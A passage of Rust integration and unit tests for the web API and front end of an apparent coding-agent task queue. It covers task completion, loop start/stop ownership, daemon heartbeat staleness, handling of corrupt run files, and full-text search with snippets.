16845 Some(r#"{"title":"x","instruction":"y"}"#),
16846 )
16847 .await;
16848 assert_eq!(edit.status, 409, "{}", edit.body);
16849 }
16850
16851 #[tokio::test]
16852 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16853 let f = Fixture::start().await;
16854 let queue = f.queue();
16855 let mut task = Task::new(
16856 "shipped by hand".to_owned(),
16857 "merged outside the loop".to_owned(),
16858 PathBuf::from("/repo/magi"),
16859 Source::Agent {
16860 run: "20260101-000000-b455".to_owned(),
16861 node: "implement".to_owned(),
16862 },
16863 );
16864 task.runs.push("20260101-000000-b455".to_owned());
16865 task.runs.push("20260101-000000-9af4".to_owned());
16866 queue.put(&mut task).expect("file the task");
16867 let created_at = task.created_at;
16868
16869 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16870 assert_eq!(done.status, 200, "{}", done.body);
16871 assert_eq!(done.json()["status_str"], "done");
16872
16873 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16874 assert_eq!(
16875 reloaded.runs,
16876 ["20260101-000000-b455", "20260101-000000-9af4"]
16877 );
16878 assert_eq!(
16879 reloaded.source,
16880 Source::Agent {
16881 run: "20260101-000000-b455".to_owned(),
16882 node: "implement".to_owned(),
16883 }
16884 );
16885 assert_eq!(reloaded.created_at, created_at);
16886 }
16887
16888 #[tokio::test]
16889 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16890 let f = Fixture::start().await;
16895 let queue = f.queue();
16896 let mut task = Task::new(
16897 "landed while held".to_owned(),
16898 "x".to_owned(),
16899 PathBuf::from("/repo/magi"),
16900 Source::Human,
16901 );
16902 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16903 queue.put(&mut task).expect("file the held task");
16904
16905 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16906 assert_eq!(done.status, 200, "{}", done.body);
16907 assert_eq!(done.json()["status_str"], "done");
16908 assert!(
16909 done.json()["hold_reason"].is_null(),
16910 "a done task cannot still be waiting on something: {}",
16911 done.body
16912 );
16913 }
16914
16915 #[tokio::test]
16916 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16917 let f = Fixture::start().await;
16922 let queue = f.queue();
16923 let runs = f.runs();
16924 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16925 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16929
16930 let mut task = Task::new(
16931 "landed by hand".to_owned(),
16932 "x".to_owned(),
16933 PathBuf::from("/repo/magi"),
16934 Source::Human,
16935 );
16936 task.runs.push("20260101-000000-doa1".to_owned());
16937 task.runs.push("20260101-000000-doa2".to_owned());
16938 queue.put(&mut task).expect("file the task");
16939
16940 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16941 assert_eq!(done.status, 200, "{}", done.body);
16942
16943 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16944 .expect("run still on disk under this fixture's own home");
16945 assert_eq!(
16946 reloaded_run.status,
16947 RunStatus::Superseded,
16948 "closing the task by hand must relabel the earlier blocked attempt exactly \
16949 like the loop's own settle path does"
16950 );
16951 }
16952
16953 #[tokio::test]
16954 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16955 let f = Fixture::start().await;
16960 let queue = f.queue();
16961 let runs = f.runs();
16962 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16963 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16964
16965 let mut task = Task::new(
16966 "closed with nothing actually landed".to_owned(),
16967 "x".to_owned(),
16968 PathBuf::from("/repo/magi"),
16969 Source::Human,
16970 );
16971 task.runs.push("20260101-000000-dob1".to_owned());
16972 task.runs.push("20260101-000000-dob2".to_owned());
16973 queue.put(&mut task).expect("file the task");
16974
16975 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16976 assert_eq!(done.status, 200, "{}", done.body);
16977
16978 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16979 .expect("run still on disk under this fixture's own home");
16980 assert_eq!(
16981 reloaded_run.status,
16982 RunStatus::Blocked,
16983 "the last recorded attempt never landed, so the earlier one must not be \
16984 relabelled as superseded by it"
16985 );
16986 }
16987
16988 #[tokio::test]
16989 async fn unknown_ids_are_json_not_found_on_both_stores() {
16990 let f = Fixture::start().await;
16991
16992 let run = f.get("/api/runs/nosuchrun").await;
16993 let task = f.post("/api/queue/nosuchtask/hold", None).await;
16994
16995 assert_eq!(run.status, 404);
16996 assert_eq!(task.status, 404);
16997 assert!(
16998 run.json()["error"]
16999 .as_str()
17000 .is_some_and(|e| e.contains("run")),
17001 "the error names what was not found: {}",
17002 run.body
17003 );
17004 assert!(
17005 task.json()["error"]
17006 .as_str()
17007 .is_some_and(|e| e.contains("task")),
17008 "the error names what was not found: {}",
17009 task.body
17010 );
17011 }
17012
17013 #[tokio::test]
17014 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17015 let f = Fixture::start().await;
17016
17017 let missing = f.get("/api/health").await.json();
17018 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17019
17020 write_daemon(
17021 f.home.path(),
17022 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17023 );
17024 let stale = f.get("/api/health").await.json();
17025 assert_eq!(
17026 stale["daemon"]["running"], false,
17027 "a minute without a heartbeat is a dead daemon, not a busy one"
17028 );
17029 assert!(
17030 stale["daemon"]["stale_for_secs"]
17031 .as_i64()
17032 .is_some_and(|s| s >= 55),
17033 "staleness is reported so the UI can say how long: {stale}"
17034 );
17035
17036 write_daemon(f.home.path(), Timestamp::now());
17037 let fresh = f.get("/api/health").await.json();
17038 assert_eq!(fresh["daemon"]["running"], true);
17039 assert_eq!(fresh["daemon"]["idle"], false);
17040 assert_eq!(fresh["daemon"]["pid"], 4242);
17041 assert_eq!(fresh["daemon"]["completed"], 7);
17042 assert_eq!(
17043 fresh["daemon"]["current"][0]["task"],
17044 "20260902-140501-aaaa"
17045 );
17046 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17047 }
17048
17049 #[tokio::test]
17050 async fn the_loop_is_not_running_until_something_starts_it() {
17051 let f = Fixture::start().await;
17052
17053 let view = f.get("/api/loop").await.json();
17054 assert_eq!(view["running"], false);
17055 assert_eq!(
17056 view["owned"], false,
17057 "nobody owns a loop that does not exist: {view}"
17058 );
17059 assert_eq!(view["stopping"], false);
17060 assert_eq!(view["last_error"], Value::Null);
17061 assert_eq!(view["daemon"]["running"], false);
17062 assert_eq!(
17063 view["repo"], "/repo/magi",
17064 "the repository a start would use, named before it is started"
17065 );
17066 }
17067
17068 #[tokio::test]
17069 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17070 let f = Fixture::start().await;
17071
17072 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17073 assert_eq!(res.status, 200, "{}", res.body);
17074 let view = res.json();
17075 assert_eq!(view["running"], true);
17076 assert_eq!(
17077 view["owned"], true,
17078 "the loop the UI started is the UI's own to stop: {view}"
17079 );
17080 assert_eq!(
17081 view["merge"],
17082 Value::Null,
17083 "no override was given, so each repository's own config decides"
17084 );
17085
17086 let health = f.get("/api/health").await.json();
17090 assert_eq!(health["loop"]["running"], true, "{health}");
17091 assert_eq!(health["loop"]["owned"], true, "{health}");
17092
17093 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17094 }
17095
17096 #[tokio::test]
17097 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17098 let f = Fixture::start().await;
17099 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17100 assert_eq!(first.status, 200, "{}", first.body);
17101
17102 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17103 assert_eq!(
17104 again.status, 409,
17105 "two loops on one queue race for the same claims: {}",
17106 again.body
17107 );
17108 assert!(
17109 again.json()["error"]
17110 .as_str()
17111 .is_some_and(|e| e.contains("already running the loop")),
17112 "the refusal has to say why: {}",
17113 again.body
17114 );
17115 assert_eq!(
17116 f.get("/api/loop").await.json()["running"],
17117 true,
17118 "and the loop that was already running is untouched by it"
17119 );
17120
17121 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17122 }
17123
17124 #[tokio::test]
17125 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17126 let f = Fixture::start().await;
17127 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17128
17129 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17130 assert_eq!(
17131 res.status, 200,
17132 "the answer must not wait for the loop: a run in flight is tens of \
17133 minutes and the operator is holding a phone: {}",
17134 res.body
17135 );
17136
17137 let view = settled(&f, |v| v["running"] == false).await;
17138 assert_eq!(view["owned"], false);
17139 assert_eq!(
17140 view["stopping"], false,
17141 "a loop that has stopped is not still stopping: {view}"
17142 );
17143 assert_eq!(
17144 view["last_error"],
17145 Value::Null,
17146 "a loop that was asked to stop did not fail: {view}"
17147 );
17148
17149 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17152 assert_eq!(twice.status, 200, "{}", twice.body);
17153 }
17154
17155 #[tokio::test]
17156 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17157 let f = Fixture::start().await;
17158 write_daemon(f.home.path(), Timestamp::now());
17161
17162 let view = f.get("/api/loop").await.json();
17163 assert_eq!(view["running"], false, "not in this process: {view}");
17164 assert_eq!(view["owned"], false, "and not this process's to control");
17165 assert_eq!(
17166 view["daemon"]["running"], true,
17167 "but a loop is alive somewhere, which is what the UI must say"
17168 );
17169 assert_eq!(view["daemon"]["pid"], 4242);
17170
17171 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17172 let res = f.post("/api/loop", Some(body)).await;
17173 assert_eq!(
17174 res.status, 409,
17175 "neither button may pretend to work on someone else's loop: {}",
17176 res.body
17177 );
17178 assert!(
17179 res.json()["error"]
17180 .as_str()
17181 .is_some_and(|e| e.contains("4242")),
17182 "the refusal has to name the process the operator must go to: {}",
17183 res.body
17184 );
17185 }
17186 assert_eq!(
17187 f.get("/api/loop").await.json()["running"],
17188 false,
17189 "and the refusal started nothing"
17190 );
17191 }
17192
17193 #[tokio::test]
17194 async fn a_stale_status_file_is_not_a_foreign_owner() {
17195 let f = Fixture::start().await;
17196 write_daemon(
17197 f.home.path(),
17198 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17199 );
17200
17201 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17202 assert_eq!(
17203 res.status, 200,
17204 "a daemon killed a minute ago must not lock the loop out of its \
17205 own home for good: {}",
17206 res.body
17207 );
17208 assert_eq!(res.json()["running"], true);
17209
17210 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17211 }
17212
17213 #[tokio::test]
17214 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17215 let f = Fixture::start().await;
17216 let before = f.get("/api/health").await.json()["loop_rev"]
17217 .as_u64()
17218 .expect("a loop revision");
17219
17220 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17221
17222 let after = f.get("/api/health").await.json()["loop_rev"]
17223 .as_u64()
17224 .expect("a loop revision");
17225 assert!(
17226 after > before,
17227 "the loop is in-process state, so this counter is the only thing \
17228 that tells a second device the first one started it: {before} -> \
17229 {after}"
17230 );
17231
17232 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17233 }
17234
17235 #[tokio::test]
17236 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17237 let f = Fixture::with_loop(launch_broken).await;
17238
17239 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17240 assert_eq!(
17241 res.status, 200,
17242 "starting it is not the failure: {}",
17243 res.body
17244 );
17245
17246 let view = settled(&f, |v| v["last_error"].is_string()).await;
17247 assert_eq!(
17248 view["running"], false,
17249 "a loop that died must not read as running, or the operator has \
17250 nothing to press: {view}"
17251 );
17252 assert_eq!(view["owned"], false);
17253 assert!(
17254 view["last_error"]
17255 .as_str()
17256 .is_some_and(|e| e.contains("read-only file system")),
17257 "the phone is where a loop that died at 3am is visible: {view}"
17258 );
17259
17260 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17263 assert_eq!(again.status, 200, "{}", again.body);
17264 assert!(
17265 again.json()["last_error"]
17266 .as_str()
17267 .is_none_or(|e| !e.contains("read-only file system")),
17268 "a fresh start does not keep showing why the last one died: {}",
17269 again.body
17270 );
17271 }
17272
17273 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17285 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17286 let home = TempDir::new().expect("temp home");
17287 let runs = home.path().join("runs");
17288 std::fs::create_dir_all(&runs).expect("runs dir");
17289 let ui = Ui::new(
17290 Queue::at(home.path().join("queue")),
17291 Questions::at(home.path().join("questions")),
17292 Talks::at(home.path().join("talks")),
17293 runs,
17294 home.path().to_path_buf(),
17295 PathBuf::from("/repo/magi"),
17296 )
17297 .with_worktrees_root(home.path().join("wt"))
17298 .with_launch(launch_knocking_on_the_way_out);
17299 let looping = ui.looping();
17300 let turns = ui.turns();
17301 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17302 .await
17303 .expect("bind loopback");
17304 let addr = listener.local_addr().expect("local addr");
17305 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17306 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17307
17308 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17309 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17310
17311 let bound = std::sync::Mutex::new(None);
17326 hand_over(
17327 home.path(),
17328 &looping,
17329 &turns,
17330 &|_: &[String]| Duration::from_secs(5),
17331 served,
17332 |_| {
17333 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17334 let attempt = loop {
17335 match std::net::TcpListener::bind(addr) {
17336 Ok(l) => {
17337 drop(l);
17338 break Ok(());
17339 }
17340 Err(e)
17341 if e.kind() == std::io::ErrorKind::AddrInUse
17342 && std::time::Instant::now() < deadline =>
17343 {
17344 std::thread::sleep(std::time::Duration::from_millis(10));
17345 }
17346 Err(e) => break Err(e.to_string()),
17347 }
17348 };
17349 *bound.lock().expect("bound") = Some(attempt);
17350 Ok(1)
17351 },
17352 )
17353 .await
17354 .expect("hand over");
17355
17356 assert_eq!(
17357 *PARK_HEARD.lock().expect("park heard"),
17358 Some(200),
17359 "the deck must answer while the loop is parking"
17360 );
17361 let attempt = bound
17362 .lock()
17363 .expect("bound")
17364 .take()
17365 .expect("the successor was started");
17366 assert!(
17367 attempt.is_ok(),
17368 "and the address must be free by the time it is: {attempt:?}"
17369 );
17370 }
17371
17372 #[tokio::test]
17373 async fn a_newer_daemon_status_file_still_renders() {
17374 let f = Fixture::start().await;
17375 std::fs::write(
17378 f.home.path().join("daemon.json"),
17379 serde_json::json!({
17380 "schema": 2,
17381 "updated_at": Timestamp::now().to_string(),
17382 "idle": true,
17383 "surprise": { "nested": [1, 2, 3] },
17384 })
17385 .to_string(),
17386 )
17387 .expect("write daemon.json");
17388
17389 let health = f.get("/api/health").await;
17390
17391 assert_eq!(health.status, 200);
17392 assert_eq!(health.json()["daemon"]["running"], true);
17393 }
17394
17395 #[tokio::test]
17396 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17397 let f = Fixture::start().await;
17398 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17399 let broken = f.runs().join("20260902-140502-bad");
17400 std::fs::create_dir_all(&broken).expect("run dir");
17401 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17402
17403 let list = f.get("/api/runs").await;
17404 let detail = f.get("/api/runs/20260902-140502-bad").await;
17405
17406 assert_eq!(list.status, 200);
17407 let listed = list.json();
17408 let ids: Vec<&str> = listed
17409 .as_array()
17410 .expect("an array")
17411 .iter()
17412 .map(|r| r["id"].as_str().expect("an id"))
17413 .collect();
17414 assert_eq!(
17415 ids,
17416 vec!["20260902-140501-good"],
17417 "one unreadable run must not cost the operator the whole history"
17418 );
17419 assert_eq!(detail.status, 500);
17420 assert!(
17421 detail.json()["error"]
17422 .as_str()
17423 .is_some_and(|e| e.contains("run.json")),
17424 "the failure names the file to look at: {}",
17425 detail.body
17426 );
17427 let health = f.get("/api/health").await;
17431 assert_eq!(health.json()["runs_unreadable"], 1);
17432 }
17433
17434 #[tokio::test]
17436 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17437 let f = Fixture::start().await;
17438 let runs = f.runs();
17439 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17440 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17441 let path = runs.join("20260902-140502-bbbb").join("run.json");
17444 let mut v: serde_json::Value =
17445 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17446 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17447 std::fs::write(&path, v.to_string()).unwrap();
17448 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17449 std::fs::write(
17450 runs.join("20260902-140503-cccc").join("run.json"),
17451 "{ not json",
17452 )
17453 .unwrap();
17454
17455 let res = f.get("/api/search?scope=runs&q=quokka").await;
17456 assert_eq!(res.status, 200, "{}", res.body);
17457 let v = res.json();
17458 assert_eq!(v["total"], 1, "{v}");
17459 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17460 assert_eq!(v["hits"][0]["field"], "text");
17461 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17462 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17463 assert!(
17464 parts
17465 .iter()
17466 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17467 "{v}"
17468 );
17469 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17470 assert_eq!(
17471 flat, "The Quokka leaks across threads",
17472 "whitespace is collapsed"
17473 );
17474
17475 let both = f
17477 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17478 .await
17479 .json();
17480 assert_eq!(both["total"], 1, "{both}");
17481 let neither = f
17482 .get("/api/search?scope=runs&q=quokka%20zebra")
17483 .await
17484 .json();
17485 assert_eq!(neither["total"], 0, "{neither}");
17486 let stmt = f
17488 .get("/api/search?scope=runs&q=mobile%20first")
17489 .await
17490 .json();
17491 assert_eq!(stmt["total"], 2, "{stmt}");
17492 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17493 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17494 }
17495
17496 #[test]
17497 fn snippet_ignores_terms_longer_than_the_field() {
17498 let terms = ["ok".to_owned(), "elephant".to_owned()];
17499 let parts = snippet_of("ok", &terms);
17500 assert_eq!(
17501 parts,
17502 vec![SnippetPart {
17503 text: "ok".to_owned(),
17504 hit: true
17505 }]
17506 );
17507 }
17508
17509 #[test]
17510 fn snippet_marks_matches_longer_than_the_window() {
17511 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17512 let hit_len = |parts: &[SnippetPart]| -> usize {
17513 parts
17514 .iter()
17515 .filter(|p| p.hit)
17516 .map(|p| p.text.chars().count())
17517 .sum()
17518 };
17519 let total =
17520 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17521
17522 let long = "a".repeat(120);
17523 let parts = snippet_of(&long, std::slice::from_ref(&long));
17524 assert!(hit_len(&parts) > 0, "{parts:?}");
17525 assert!(total(&parts) <= cap);
17526
17527 let ja = "あ".repeat(130);
17528 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17529 assert!(hit_len(&parts) > 0, "{parts:?}");
17530 assert!(total(&parts) <= cap);
17531
17532 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17534 let term = format!("ab{}", "c".repeat(100));
17535 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17536 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17537 assert!(total(&parts) <= cap);
17538
17539 let text = format!("{}z", "a".repeat(119));
17541 let parts = snippet_of(&text, &["a".repeat(120)]);
17542 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17543 }
17544
17545 #[tokio::test]
17546 async fn search_caps_hits_and_snippet_length() {
17547 let f = Fixture::start().await;
17548 let runs = f.runs();
17549 for n in 0..(SEARCH_MAX_HITS + 5) {
17550 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17551 }
17552 let v = f.get("/api/search?scope=runs&q=web").await.json();
17553 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17554 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17555 assert_eq!(v["truncated"], true);
17556 assert!(
17558 v["hits"]
17559 .as_array()
17560 .unwrap()
17561 .iter()
17562 .all(|h| h["run"]["status"] == "merged")
17563 );
17564
17565 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17566 let parts = snippet_of(&long, &["needle".to_owned()]);
17567 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17568 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17569 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17570 }
17571
17572 #[tokio::test]
17573 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17574 let f = Fixture::start().await;
17575 let queue = f.queue();
17576 let mut t = Task::new(
17577 "short title".to_owned(),
17578 "line one\nthe hidden Armadillo detail".to_owned(),
17579 PathBuf::from("/repo/magi"),
17580 Source::Agent {
17581 run: "r1".to_owned(),
17582 node: "chat".to_owned(),
17583 },
17584 );
17585 t.last_error = Some("disk full on /tmp".to_owned());
17586 queue.put(&mut t).expect("file the task");
17587
17588 for (q, want) in [
17589 ("armadillo", 1),
17590 ("disk%20FULL", 1),
17591 ("chat", 1),
17592 ("queued", 1),
17593 ("short%20nothing", 0),
17594 ] {
17595 let v = f
17596 .get(&format!("/api/search?scope=tasks&q={q}"))
17597 .await
17598 .json();
17599 assert_eq!(v["total"], want, "{q}: {v}");
17600 }
17601 for bad in [
17602 "/api/search?scope=tasks&q=",
17603 "/api/search?scope=tasks&q=%20",
17604 "/api/search?scope=chats&q=",
17605 "/api/search?scope=chats&q=%20",
17606 "/api/search?scope=nope&q=a",
17607 "/api/search?q=a",
17608 ] {
17609 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17610 }
17611 }
17612
17613 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17615 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17616 .expect("seat value");
17617 let turns: Vec<serde_json::Value> = turns
17618 .iter()
17619 .map(|(who, body)| {
17620 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17621 })
17622 .collect();
17623 let doc = serde_json::json!({
17624 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17625 "status": status, "turns": turns,
17626 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17627 "seat": seat,
17628 });
17629 let dir = f.home.path().join("talks");
17630 std::fs::create_dir_all(&dir).expect("talks dir");
17631 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17632 }
17633
17634 #[tokio::test]
17635 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17636 let f = Fixture::start().await;
17637 write_talk(
17638 &f,
17639 "20260901-000001-aaaa",
17640 "open",
17641 &[
17642 (
17643 "operator",
17644 "\n Why does the Pangolin cache expire?\nsecond line",
17645 ),
17646 ("agent", "Because the TTL is thirty seconds."),
17647 ],
17648 );
17649 write_talk(
17650 &f,
17651 "20260901-000002-bbbb",
17652 "closed",
17653 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17654 );
17655 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17656
17657 let search = |q: &'static str| {
17658 let f = &f;
17659 async move {
17660 f.get(&format!("/api/search?scope=chats&q={q}"))
17661 .await
17662 .json()
17663 }
17664 };
17665
17666 let v = search("PANGOLIN").await;
17667 assert_eq!(v["scope"], "chats");
17668 assert_eq!(v["total"], 1, "{v}");
17669 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17670 assert_eq!(v["hits"][0]["field"], "title");
17671 assert_eq!(v["unreadable"], 1, "{v}");
17672 let marked: Vec<&str> = v["hits"][0]["snippet"]
17673 .as_array()
17674 .unwrap()
17675 .iter()
17676 .filter(|p| p["hit"] == true)
17677 .map(|p| p["text"].as_str().unwrap())
17678 .collect();
17679 assert_eq!(marked, ["Pangolin"]);
17680
17681 let v = search("zebra").await;
17683 assert_eq!(v["total"], 1, "{v}");
17684 assert_eq!(v["hits"][0]["field"], "agent");
17685 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17687 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17688 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17690 assert_eq!(search(q).await["total"], 0, "{q}");
17691 }
17692 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17694 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17696
17697 let v = f.get("/api/search?scope=nope&q=a").await;
17698 assert_eq!(v.status, 400);
17699 assert!(
17700 v.body.contains("scope must be runs, tasks or chats"),
17701 "{}",
17702 v.body
17703 );
17704 }
17705
17706 #[test]
17707 fn a_question_card_links_a_task_id_to_the_task_page() {
17708 let start = APP_JS
17709 .find("function updateAskCard(")
17710 .expect("updateAskCard exists");
17711 let body = &APP_JS[start..];
17712 let body = &body[..body.find("\n}\n").expect("function end")];
17713 assert!(body.contains("question.run_is_task"));
17714 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17715 assert!(body.contains("`#/runs/${question.run}`"));
17716 assert!(body.contains("\"task\" : \"run\""));
17717 }
17718
17719 #[test]
17720 fn plain_text_message_surfaces_go_through_linkify() {
17721 assert!(APP_JS.contains("function linkify("));
17722 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17723 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17724 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17725 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17726 assert!(!APP_JS.contains("innerHTML = text"));
17727 }
17728
17729 #[test]
17730 fn implementation_rate_views_keep_independent_samples() {
17731 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17732 let a = stats::AgentStats {
17733 competitive_entered: competitive_n,
17734 competitive_wins: usize::from(competitive_n > 0),
17735 solo_entered: solo_n,
17736 solo_adopted: 2 * usize::from(solo_n > 0),
17737 ..Default::default()
17738 };
17739 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17740 for (key, n, numerator) in [
17741 ("competitive_win_rate", competitive_n, a.competitive_wins),
17742 ("solo_adoption_rate", solo_n, a.solo_adopted),
17743 ] {
17744 if n == 0 {
17745 assert!(v[key].is_null());
17746 } else {
17747 assert_eq!(v[key]["denominator"], n);
17748 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17749 }
17750 }
17751 }
17752 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17753 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17754 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17755 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17756 }
17757
17758 #[test]
17759 fn stats_bars_share_one_id_keyed_plan() {
17760 let start = APP_JS
17761 .find("function statsBarRows(")
17762 .expect("statsBarRows exists");
17763 let body = &APP_JS[start..];
17764 let body = &body[..body.find("\n}\n").expect("function end")];
17765 assert!(body.contains("statsBarPlan(rows)"));
17766 assert!(body.contains("statsAgentTone(row.agent)"));
17767 assert!(!body.contains("candTone(i)"));
17768 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17769 for root in [
17770 "stats-agents-bars",
17771 "stats-solo-bars",
17772 "stats-reviewers-bars",
17773 ] {
17774 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17775 }
17776 }
17777
17778 #[test]
17779 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17780 let start = APP_JS
17781 .find("function renderStatsReviewerScatter(")
17782 .expect("renderStatsReviewerScatter exists");
17783 let body = &APP_JS[start..];
17784 let body = &body[..body.find("\n}\n").expect("function end")];
17785 assert!(body.contains("statsScatterPlan(reviewers)"));
17786 assert!(body.contains("statsAgentTone(d.agent)"));
17787 assert!(APP_JS.contains("function statsScatterPlan("));
17788 assert!(
17789 APP_JS.contains("d.submitted < STATS_LOW_N")
17790 || APP_JS.contains("r.submitted < STATS_LOW_N")
17791 );
17792 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17793 assert!(APP_CSS.contains(".precision-scatter"));
17794 }
17795
17796 #[test]
17797 fn advisor_reflection_is_drawn_as_stacked_segments() {
17798 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17799 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17800 let html = include_str!("../assets/ui/index.html");
17801 assert!(html.contains("Approximate"));
17802 for label in ["reflected strongly", "faint", "no proposal"] {
17803 assert!(html.contains(label));
17804 }
17805 let css = include_str!("../assets/ui/app.css");
17806 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17807 assert!(css.contains(&format!(".{c} {{")));
17808 }
17809 }
17810
17811 #[test]
17812 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17813 assert!(APP_JS.contains("function statsDailyPlan("));
17814 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
